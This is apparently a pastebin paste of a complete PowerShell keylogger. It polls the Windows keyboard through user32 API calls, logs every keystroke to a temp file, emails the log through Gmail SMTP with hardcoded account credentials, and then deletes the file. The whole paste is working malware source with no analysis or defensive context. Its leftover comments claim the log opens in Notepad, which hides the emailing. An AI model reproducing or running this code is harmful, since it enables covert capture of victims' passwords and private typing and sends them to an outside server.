· 6 years ago · Feb 06, 2020, 02:28 AM
1# Editar solo esta secci�n!
2$TimeToRun = 2
3$From = "microosft@gmail.com"
4$Pass = "qwertyuiop123456789A"
5$To = "microosft@gmail.com"
6$Subject = "Keylogger Results"
7$body = "Keylogger Results"
8$SMTPServer = "smtp.gmail.com"
9$SMTPPort = "587"
10$SMTPPort = "465"
11$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-
12
13SecureString -AsPlainText -Force)
14############################
15
16
17$TimeStart = Get-Date
18$TimeEnd = $timeStart.addminutes($TimeToRun)
19
20#requires -Version 2
21function Start-KeyLogger($Path="$env:temp\keylogger.txt")
22{
23 # Signatures for API Calls
24 $signatures = @'
25[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
26public static extern short GetAsyncKeyState(int virtualKeyCode);
27[DllImport("user32.dll", CharSet=CharSet.Auto)]
28public static extern int GetKeyboardState(byte[] keystate);
29[DllImport("user32.dll", CharSet=CharSet.Auto)]
30public static extern int MapVirtualKey(uint uCode, int uMapType);
31[DllImport("user32.dll", CharSet=CharSet.Auto)]
32public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate,
33
34System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
35'@
36
37 # load signatures and make members available
38 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
39
40 # create output file
41 $null = New-Item -Path $Path -ItemType File -Force
42
43 try
44 {
45
46 # create endless loop. When user presses CTRL+C, finally-block
47 # executes and shows the collected key presses
48 while ($TimeEnd -ge $TimeNow) {
49 Start-Sleep -Milliseconds 40
50
51 # scan all ASCII codes above 8
52 for ($ascii = 9; $ascii -le 254; $ascii++) {
53 # get current key state
54 $state = $API::GetAsyncKeyState($ascii)
55
56 # is key pressed?
57 if ($state -eq -32767) {
58 $null = [console]::CapsLock
59
60 # translate scan code to real code
61 $virtualKey = $API::MapVirtualKey($ascii, 3)
62
63 # get keyboard state for virtual keys
64 $kbstate = New-Object Byte[] 256
65 $checkkbstate = $API::GetKeyboardState($kbstate)
66
67 # prepare a StringBuilder to receive input key
68 $mychar = New-Object -TypeName System.Text.StringBuilder
69
70 # translate virtual key
71 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
72
73 if ($success)
74 {
75 # add key to logger file
76 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
77 }
78 }
79 }
80 $TimeNow = Get-Date
81 }
82 }
83 finally
84 {
85 # open logger file in Notepad
86 send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -
87
88smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
89 Remove-Item -Path $Path -force
90 exit 1
91 }
92}
93
94# records all key presses until script is aborted by pressing CTRL+C
95# will then open the file with collected key codes
96Start-KeyLogger